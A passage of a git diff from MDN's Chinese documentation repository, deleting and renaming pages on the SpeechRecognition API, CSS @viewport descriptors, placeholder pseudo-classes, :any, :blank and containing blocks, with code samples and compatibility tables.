Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
-
{{domxref("SpeechRecognition.start()")}}
-
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
-
{{domxref("SpeechRecognition.stop()")}}
-
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
-
- -

Events

- -

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

- -
-
audiostart
-
Fired when the user agent has started to capture audio.
- Also available via the onaudiostart property.
-
audioend
-
Fired when the user agent has finished capturing audio.
- Also available via the onaudioend property.
-
end
-
Fired when the speech recognition service has disconnected.
- Also available via the onend property.
-
error
-
Fired when a speech recognition error occurs.
- Also available via the onerror property.
-
nomatch
-
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
- Also available via the onnomatch property.
-
result
-
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
- Also available via the onresult property.
-
soundstart
-
Fired when any sound — recognisable speech or not — has been detected.
- Also available via the onsoundstart property.
-
soundend
-
Fired when any sound — recognisable speech or not — has stopped being detected.
- Also available via the onsoundend property.
-
speechstart
-
Fired when sound that is recognised by the speech recognition service as speech has been detected.
- Also available via the onspeechstart property.
-
speechend
-
Fired when speech recognised by the speech recognition service has stopped being detected.
- Also available via the onspeechend property.
-
start
-
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
- Also available via the onstart property.
-
- -

Examples

- -

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

- -

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

- -
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
-var recognition = new SpeechRecognition();
-var speechRecognitionList = new SpeechGrammarList();
-speechRecognitionList.addFromString(grammar, 1);
-recognition.grammars = speechRecognitionList;
-//recognition.continuous = false;
-recognition.lang = 'en-US';
-recognition.interimResults = false;
-recognition.maxAlternatives = 1;
-
-var diagnostic = document.querySelector('.output');
-var bg = document.querySelector('html');
-
-document.body.onclick = function() {
-  recognition.start();
-  console.log('Ready to receive a color command.');
-}
-
-recognition.onresult = function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color;
-  bg.style.backgroundColor = color;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
- -

Browser compatibility

- - - -

{{Compat("api.SpeechRecognition")}}

- -

See also

- - diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" deleted file mode 100644 index d6415441f3..0000000000 --- "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'SpeechRecognition: result event' -slug: Web/API/语音识别/result_event -translation_of: Web/API/SpeechRecognition/result_event ---- -
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
- -

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
- -

Examples

- -

This code is excerpted from our Speech color changer example.

- -

You can use the result event in an addEventListener method:

- -
var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
-
-recognition.addEventListener('result', function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color + '.';
-  bg.style.backgroundColor = color;
-});
-
- -

Or use the onresult event handler property:

- -
recognition.onresult = function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color + '.';
-  bg.style.backgroundColor = color;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
- -

Browser compatibility

- -
- - -

{{Compat("api.SpeechRecognition.result_event")}}

-
- -

See also

- - diff --git a/files/zh-cn/web/css/@viewport/height/index.html b/files/zh-cn/web/css/@viewport/height/index.html deleted file mode 100644 index 92d33a292c..0000000000 --- a/files/zh-cn/web/css/@viewport/height/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: height -slug: Web/CSS/@viewport/height -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/height ---- -
{{CSSRef}}
- -
height CSS 属性是同时设置可视区 {{cssxref("@viewport/min-height", "min-height")}} and {{cssxref("@viewport/max-height", "max-height")}} 的简写。当你设置一个值的时候,最小高度(minimum height)和最大高度(maximum height)会被同时设置。
- -

如果提供两个值,第一个值会被设置为最小高度,第二个值将会被设置为最大高度。

- -

语法

- -
/* One value */
-height: auto;
-height: 320px;
-height: 15em;
-
-/* Two values */
-height: 320px 200px;
-
- -

合法值

- -
-
auto
-
真实生效的高度值将根据其他 CSS 属性计算得出。
-
<length>
-
一个非负的绝对或相对值。
-
<percentage>
-
一个相对于缩放因子是 1.0 的初始可视区宽高的百分比值,水平和垂直方向的长度分别计算。不能是负值。
-
- -

正式定义

- -

{{cssinfo}}

- -

正式语法

- -
{{csssyntax}}
- -

示例

- -

设置最小和最大高度

- -
@viewport {
-  height: 500px;
-}
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}初始定义
- -

浏览器兼容性

- - - -

{{Compat("css.at-rules.viewport.height")}}

- -

同时查看

- - diff --git a/files/zh-cn/web/css/@viewport/orientation/index.html b/files/zh-cn/web/css/@viewport/orientation/index.html deleted file mode 100644 index 11519cee6e..0000000000 --- a/files/zh-cn/web/css/@viewport/orientation/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: orientation -slug: Web/CSS/@viewport/orientation -tags: - - CSS - - CSS Description -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/orientation ---- -
{{CSSRef}}
- -

摘要

- -

此 orientation CSS 描述符控制由{{cssxref("@viewport")}}定义文档的方向。

- -

通过设备的倾斜摆动情况来决定文档显示的方向,作者可以通过设置这个描述符来抑制方向的变化{{cssinfo}}

- -

语法

- -
/* Keyword values */
-orientation: auto;
-orientation: portrait;/*锁定为纵向*/
-orientation: landscape;/* 锁定为横向*/
-
- -

取值

- -
-
auto
-
用户代理将文档的方向设置为自动,通常基于设备的定位由加速度传感器 (如果设备具有这种硬件传感器),但是用户控制,OS 级别的"锁方向"往往会优先于加速度传感器的设置。
-
portrait
-
文档被锁定为纵向。
-
landscape
-
文档被锁定为横向。
-
- -

标准语法

- -
{{csssyntax}}
- -

规范

- - - - - - - - - - - - - - - - -
规范标准注释
{{SpecName('CSS3 Device', '#the-lsquoorientationrsquo-descriptor', '"orientation" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatNo}}10 {{property_prefix("-ms")}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}8 {{property_prefix("-o")}}{{CompatUnknown}}
-
diff --git a/files/zh-cn/web/css/@viewport/viewport-fit/index.html b/files/zh-cn/web/css/@viewport/viewport-fit/index.html deleted file mode 100644 index 2716ef1d6f..0000000000 --- a/files/zh-cn/web/css/@viewport/viewport-fit/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: viewport-fit -slug: Web/CSS/@viewport/viewport-fit -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/viewport-fit ---- -
{{CSSRef}} {{Draft}} {{SeeCompatTable}}
- -

viewport-fit CSS {{CSSxRef("@viewport")}}  {{Glossary("Descriptor (CSS)", "descriptor")}} 是为了控制文档是如何填充满屏幕的。

- -

语法

- -
/* 关键值*/
-viewport-fit: auto;
-viewport-fit: contain;
-viewport-fit: cover;
-
- -

属性值

- -
-
auto
-
此值不影响初始布局视图端口,并且整个web页面都是可查看的。
-
contain
-
视图端口按比例缩放,以适合显示内嵌的最大矩形。
-
cover
-
视图端口被缩放以填充设备显示。强烈建议使用 safe area inset 变量,以确保重要内容不会出现在显示之外。
-
- -

形式语法

- -
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
- -

注意

- -

在使用 viewport-fit 描述符时,必须记住并不是所有的设备显示都是矩形的,因此应该使用safe area inset 变量

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("css.at-rules.viewport.viewport-fit")}}

- -

另请参见

- - diff --git a/files/zh-cn/web/css/@viewport/width/index.html b/files/zh-cn/web/css/@viewport/width/index.html deleted file mode 100644 index ed5c585a7e..0000000000 --- a/files/zh-cn/web/css/@viewport/width/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: width -slug: Web/CSS/@viewport/width -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/width ---- -
{{CSSRef}}
- -

The width CSS descriptor is shorthand for setting both the min-width and the max-width descriptors of the viewport. By providing one viewport length value, that value will determine both the min-width and the max-width to the value provided.

- -

If two viewport values are provided the first value will be set to the min-width and the second value will be set max-width.

- -

Syntax

- -
/* An example with one viewport value: */
-@viewport {
-    width: 320px;
-}
-
-/* An example with two viewport values: */
-@viewport {
-    width: 320px, 120px;
-}
-
-
- - - -

Values

- -
-
auto
-
The used value is calculated from the other CSS descriptors' values.
-
<length>
-
A non-negative absolute or relative length.
-
<percentage>
-
A percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively. Must be non-negative.
-
- -

Formal syntax

- -
auto | <length> | <percentage>
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support29 (behind a flag){{CompatNo}}10 {{property_prefix("-ms")}}11.10
- Removed in 15
- Reintroduced behind a flag in 16
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support - - - - - - -
4.4
-
- - - - - - -
29
-
{{CompatNo}}10{{property_prefix("-ms")}}11.10
- Removed in 15
- Reintroduced behind a flag in 16
{{CompatNo}}
-
diff --git a/files/zh-cn/web/css/@viewport/zoom/index.html b/files/zh-cn/web/css/@viewport/zoom/index.html deleted file mode 100644 index 894e8a6c73..0000000000 --- a/files/zh-cn/web/css/@viewport/zoom/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: zoom -slug: Web/CSS/@viewport/zoom -tags: - - CSS - - CSS Descriptor -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/zoom ---- -
{{ CSSRef }}
- -

zoom CSS 属性会根据 {{cssxref("@viewport")}} 来初始化一个缩放因数。

- -

当设置1.0 或 100%时表示不缩放。更大的值放大,更小的值缩小。

- -

{{cssinfo}}

- -

语法

- -
/* Keyword value */
-zoom: auto;
-
-/* <number> values */
-zoom: 0.8;
-zoom: 2.0;
-
-/* <percentage> values */
-zoom: 150%;
-
- -

- -
-
auto
-
根据`viewport`来既定当前标签的缩放。
-
<number>
-
必须是一个非负数。1表示没有缩放,大于1表示放大的倍数,小于1亦然。
-
<percentage>
-
必须是一个非负的百分比。以100%为基础进行缩放。
-
- -

形式语法

- -
{{csssyntax}}
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Device', '#zoom-desc', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}Initial specification
- -

浏览器兼容

- - - -

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/zh-cn/web/css/_colon_-moz-placeholder/index.html b/files/zh-cn/web/css/_colon_-moz-placeholder/index.html deleted file mode 100644 index f7493e4757..0000000000 --- a/files/zh-cn/web/css/_colon_-moz-placeholder/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: ':-moz-placeholder' -slug: 'Web/CSS/:-moz-placeholder' -tags: - - CSS - - CSS Pseudo-class - - CSS Reference - - Non-standard -translation_of: 'Web/CSS/:placeholder-shown' -translation_of_original: 'Web/CSS/:-moz-placeholder' ---- -

 

- -
提示: 在Firefox 19+版本中 :-moz-placeholder 伪类将被 {{ cssxref('::-moz-placeholder') }} 伪元素所替代.
- -
Note: The CSSWG have decided to introduce :placeholder-shown. This functionality will be reintroduced in Gecko at some point in the future, unprefixed and under the new name.  {{bug(1069012)}}
- -

{{ CSSRef() }}{{Non-standard_header}}{{ gecko_minversion_header("2.0") }}

- -

摘要

- -

 :-moz-placeholder伪类控制元素所显示的文字占位符文字占位符. 它允许开发者/设计师改变文字占位符样式. 默认的文字占位符颜色为浅灰色,当你的表单背景色为类似的颜色时它可能效果并不是很明显,那么你就可以使用这个伪类来改变文字占位符的颜色.

- -

示例

- -

这个示例将文字占位符改变为了绿色.

- -
<!doctype html>
-<html>
-<head>
-  <title>Placeholder demo</title>
-  <style type="text/css">
-    input:-moz-placeholder {
-      color: green;
-    }
-  </style>
-</head>
-<body>
-  <input id="test" placeholder="Placeholder text!">
-</body>
-</html>
-
- -

查看这个示例.

- -

溢出

- -

在手机等设备上搜索框和表单字段经常会缩的很短,有时输入框并不能完全显示文字占位符,那么它便会被生硬的"切断".为了防止出现这种难看的效果,可以使用CSS text-overflow: ellipsis; 来省略一中间部分文字.

- -
input[placeholder] { text-overflow: ellipsis; }
-::-moz-placeholder { text-overflow: ellipsis; } /* firefox 19+ */
-input:-moz-placeholder { text-overflow: ellipsis; }
-
- -

It was David Walsh, the man on fire who introduced this to a lot of designers. Placeholders and Overflow.

- -

Bugzilla

- -

{{ Bug(457801) }}

- -

See also

- - diff --git a/files/zh-cn/web/css/_colon_any/index.html b/files/zh-cn/web/css/_colon_any/index.html deleted file mode 100644 index e9f8527a79..0000000000 --- a/files/zh-cn/web/css/_colon_any/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: ':any' -slug: 'Web/CSS/:any' -tags: - - CSS - - 伪类选择器 - - 实验性 -translation_of: 'Web/CSS/:is' -translation_of_original: 'Web/CSS/:any' ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

概要

- -

The :any() pseudo-class lets you quickly construct sets of similar selectors by establishing groups from which any of the included items will match. This is an alternative to having to repeat the entire selector for the one item that varies.

- -

译文:any()伪类可以让您快速构建类似的选择器集合,通过建立包含所有包含项的组来匹配。这是另一种选择,它必须重复整个选择器,因为其中一个项目是不同的。

- -
Note : This pseudo-class is in progress to be standardized in CSS Selectors Level 4 under the name :matches(). It is likely that the syntax and name of :-vendor-any() will be changed to reflect it in the near future.
- -
注意:这个伪类正在CSS选择器第4级按照名称:matches()进行标准化。很可能的语法和名称:- vendor-any()将在不久的将来被更改以反映它。
- -

语法

- -
{{csssyntax}}
- -

- -
-
selector
-
选择器。这可以是由 CSS 3 简单选择器 组成的简单选择器或多重选择器,并且可以包含后代组合器。
-
- -
注意:选择器可以包含伪元素,并且仅允许的组合器是后代组合器。
- -

例子

- -

举个例子,如以下 CSS:

- -
/* 3 deep (or more) unordered lists use a square */
-ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
-ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
-ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
-ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
-ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
-ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
-menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
-menu ol menu, menu ul menu, menu menu menu, menu dir menu,
-menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
-dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
-dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
-dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
-  list-style-type: square;
-}
-
- -

可以写成这样:

- -
/* 3 deep (or more) unordered lists use a square */
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
-  list-style-type: square;
-}
- -

但是,不能写成这样(详见the section on performance):

- -
:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
-  list-style-type: square;
-}
- -

Notes

- -

译文: 这个伪类选择器会在处理 HTML5 的 sections and headings 中尤其有用。因为 {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, 和 {{HTMLElement("nav")}} 可以被嵌套,如果不使用  :any() ,为了去匹配这些标签来给予样式会变得困难。

- -

举个例子,当不使用 :any() ,给予不同的 DOM  结点层次深度下的所有的 {{HTMLElement("h1")}}  的元素样式时,将会变得特别的复杂。

- -
/* Level 0 */
-h1 {
-  font-size: 30px;
-}
-/* Level 1 */
-section h1, article h1, aside h1, nav h1 {
-  font-size: 25px;
-}
-/* Level 2 */
-section section h1, section article h1, section aside h1, section nav h1,
-article section h1, article article h1, article aside h1, article nav h1,
-aside section h1, aside article h1, aside aside h1, aside nav h1,
-nav section h1, nav article h1, nav aside h1, nav nav h1, {
-  font-size: 20px;
-}
-/* Level 3 */
-/* ... don't even think about it*/
-
- -

然而,通过使用  :any() ,这将变得很简单:

- -
/* Level 0 */
-h1 {
-  font-size: 30px;
-}
-/* Level 1 */
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 25px;
-}
-/* Level 2 */
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 20px;
-}
-/* Level 3 */
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 15px;
-}
- -

性能与特异性问题

- -

Bug 561154 追踪了一个关于 Gecko 作为内核的浏览器在使用 :-moz-any() 不正确的问题。在最新的浏览器(从 Firefox 12) 实现 :-moz-any() 有一个通用的规则,在使用这个伪类选择器时,当使用它作为最右边的选择器会比使用 ID, Class, 标签选择器作为最右边的选择器要来的慢。

- -

例如:

- -
.a > :-moz-any(.b, .c)
-
- -

会比下面的表达式慢

- -
.a > .b, .a > .c
-
- -

而下面的表达式将会是最快的

- -
:-moz-any(.a, .d) > .b, :-moz-any(.a, .d) > .c
-
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("2")}}{{property_prefix("-moz")}}12.0 (534.30){{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}5
- {{property_prefix("-webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}5
- {{property_prefix("-webkit")}}
-
diff --git a/files/zh-cn/web/css/_colon_blank/index.html b/files/zh-cn/web/css/_colon_blank/index.html new file mode 100644 index 0000000000..adcaa5c998 --- /dev/null +++ b/files/zh-cn/web/css/_colon_blank/index.html @@ -0,0 +1,56 @@ +--- +title: ':blank' +slug: 'Web/CSS/:blank空白伪类' +tags: + - CSS + - CSS 选择器 + - 伪类 +translation_of: 'Web/CSS/:blank' +--- +

{{CSSRef}}{{Draft}}{{SeeCompatTable}}

+ +
+

注意:使用 :blank 选择器被认为尚有一定风险,CSSWG 正在持续改进它。

+ +

详见 CSSWG issue #1967

+
+ +

:blank CSS 伪类选择器选择用户输入为空的输入框,如 {{HTMLElement("input")}} 和 {{HTMLElement("textarea")}})。

+ +

语法

+ +
{{CSSSyntax}}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}{{Spec2("CSS4 Selectors")}}Initial definition.
+ +

浏览器兼容性

+ + + + + +

{{Compat("css.selectors.blank")}}

+ +

参见

+ + diff --git "a/files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" "b/files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" deleted file mode 100644 index adcaa5c998..0000000000 --- "a/files/zh-cn/web/css/_colon_blank\347\251\272\347\231\275\344\274\252\347\261\273/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: ':blank' -slug: 'Web/CSS/:blank空白伪类' -tags: - - CSS - - CSS 选择器 - - 伪类 -translation_of: 'Web/CSS/:blank' ---- -

{{CSSRef}}{{Draft}}{{SeeCompatTable}}

- -
-

注意:使用 :blank 选择器被认为尚有一定风险,CSSWG 正在持续改进它。

- -

详见 CSSWG issue #1967

-
- -

:blank CSS 伪类选择器选择用户输入为空的输入框,如 {{HTMLElement("input")}} 和 {{HTMLElement("textarea")}})。

- -

语法

- -
{{CSSSyntax}}
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}{{Spec2("CSS4 Selectors")}}Initial definition.
- -

浏览器兼容性

- - - - - -

{{Compat("css.selectors.blank")}}

- -

参见

- - diff --git a/files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html b/files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html deleted file mode 100644 index 3c08f433c8..0000000000 --- a/files/zh-cn/web/css/_doublecolon_-moz-placeholder/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: '::-moz-placeholder' -slug: 'Web/CSS/::-moz-placeholder' -tags: - - CSS - - CSS Pseudo-class - - CSS Reference - - Non-standard -translation_of: 'Web/CSS/::placeholder' -translation_of_original: 'Web/CSS/::-moz-placeholder' ---- -
{{Non-standard_header}}{{CSSRef}}
- -
提示: {{cssxref('::-moz-placeholder')}} 伪元素在Firefox 19+替代了之前的 :-moz-placeholder 伪类.
- -
{{gecko_minversion_header("19.0")}}
- -

摘要

- -

 ::-moz-placeholder 伪元素控制元素所显示的文字占位符.它允许开发者/设计师改变文字占位符的样式.默认的文字占位符为浅灰色,当你的表单背景色为类似的颜色时它可能效果并不是很明显,那么你就可以使用这个伪类来改变文字占位符的颜色.

- -

示例

- -

HTML 内容

- -
<input id="test" placeholder="Placeholder text!">
- -

CSS 内容

- -
input::-moz-placeholder {
-  color: green;
-}
- -

{{EmbedLiveSample('%E7%A4%BA%E4%BE%8B', '100%', 100)}}

- -

 

- -

浏览器兼容性

- -

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("19.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
- - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("19.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
- -

[1] Firefox 对placeholder文本默认应用{{cssxref("opacity")}}:0.54。详见{{Bug("556145")}}。大多数主流浏览器目前不会对placeholder文本伪元素或者伪类应用默认样式。

- -

Gecko 此前将本属性视为 {{cssxref(":-moz-placeholder")}}。详见 {{Bug("737786")}}.

- -

See also

- - diff --git a/files/zh-cn/web/css/all_about_the_containing_block/index.html b/files/zh-cn/web/css/all_about_the_containing_block/index.html deleted file mode 100644 index bf35aa8c04..0000000000 --- a/files/zh-cn/web/css/all_about_the_containing_block/index.html +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: 布局和包含块 -slug: Web/CSS/All_About_The_Containing_Block -tags: - - CSS - - CSS Position - - Containers - - Guide - - Layout - - Position - - Style - - blocks - - containing block - - size -translation_of: Web/CSS/Containing_block ---- -

{{cssref}}

- -

一个元素的尺寸和位置经常受其包含块(containing block)的影响。大多数情况下,包含块就是这个元素最近的祖先块元素内容区,但也不是总是这样。在本文中,我们来过一遍确定包含块的所有因素。

- -

当一个客户端代理(比如说浏览器)展示一个文档的时候,对于每一个元素,它都产生了一个盒子。每一个盒子都被划分为四个区域:

- -
    -
  1. 内容区
  2. -
  3. 内边距区
  4. -
  5. 边框区
  6. -
  7. 外边距区
  8. -
- -

Diagram of the box model

- -

许多开发者认为一个元素的包含块就是他的父元素的内容区。但事实并非如此。接下来让我们来看看,确定元素包含块的因素都有哪些。

- -

包含块的影响

- -

在学习如何确定元素包含块之前,先了解一下它的重要性。

- -

元素的尺寸及位置,常常会受它的包含块所影响。对于一些属性,例如 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}},绝对定位元素的偏移值 (比如 {{cssxref("position")}} 被设置为 absolute 或 fixed),当我们对其赋予百分比值时,这些值的计算值,就是通过元素的包含块计算得来。

- -

确定包含块

- -

确定一个元素的包含块的过程完全依赖于这个元素的 {{cssxref("position")}} 属性:

- -
    -
  1. 如果 position 属性为 static 、 relative 或 sticky,包含块可能由它的最近的祖先块元素(比如说inline-block, block 或 list-item元素)的内容区的边缘组成,也可能会建立格式化上下文(比如说 a table container, flex container, grid container, 或者是 the block container 自身)。
  2. -
  3. 如果 position 属性为 absolute ,包含块就是由它的最近的 position 的值不是 static (也就是值为fixed, absolute, relative 或 sticky)的祖先元素的内边距区的边缘组成。
  4. -
  5. 如果 position 属性是 fixed,在连续媒体的情况下(continuous media)包含块是 {{glossary("viewport")}} ,在分页媒体(paged media)下的情况下包含块是分页区域(page area)。
  6. -
  7. 如果 position 属性是 absolutefixed,包含块也可能是由满足以下条件的最近父级元素的内边距区的边缘组成的: -
      -
    1.  {{cssxref("transform")}} 或 {{cssxref("perspective")}} 的值不是 none
    2. -
    3.  {{cssxref("will-change")}} 的值是 transform 或 perspective
    4. -
    5.  {{cssxref("filter")}} 的值不是 none 或 will-change 的值是 filter(只在 Firefox 下生效).
    6. -
    7.  {{cssxref("contain")}} 的值是 paint (例如: contain: paint;)
    8. -
    -
  8. -
- -
-

注意: 根元素(<html>)所在的包含块是一个被称为初始包含块的矩形。他的尺寸是视口 viewport (for continuous media) 或分页媒体 page media (for paged media).

-
- -

根据包含块计算百分值

- -

如上所述,如果某些属性被赋予一个百分值的话,它的计算值是由这个元素的包含块计算而来的。这些属性包括盒模型属性和偏移属性:

- -
    -
  1. 要计算 {{cssxref("height")}} {{cssxref("top")}} 及 {{cssxref("bottom")}} 中的百分值,是通过包含块的 height 的值。如果包含块的 height 值会根据它的内容变化,而且包含块的 position 属性的值被赋予 relativestatic ,那么,这些值的计算值为 auto
  2. -
  3. 要计算 {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 这些属性由包含块的 width 属性的值来计算它的百分值。
  4. -
- -

示例

- -

接下来的示例,都使用如下 HTML 代码:

- -
<body>
-  <section>
-    <p>This is a paragraph!</p>
-  </section>
-</body>
- -

下面的示例,只有 CSS 不同。

- -

Example 1

- -

这个示例中,P 标签设置为静态定位,所以它的包含块为 <section> ,因为距离最近的父节点即是她的包含块。

- - - -
body {
-  background: beige;
-}
-
-section {
-  display: block;
-  width: 400px;
-  height: 160px;
-  background: lightgray;
-}
-
-p {
-  width: 50%;   /* == 400px * .5 = 200px */
-  height: 25%;  /* == 160px * .25 = 40px */
-  margin: 5%;   /* == 400px * .05 = 20px */
-  padding: 5%;  /* == 400px * .05 = 20px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Example_1','100%','300')}}

- -

Example 2

- -

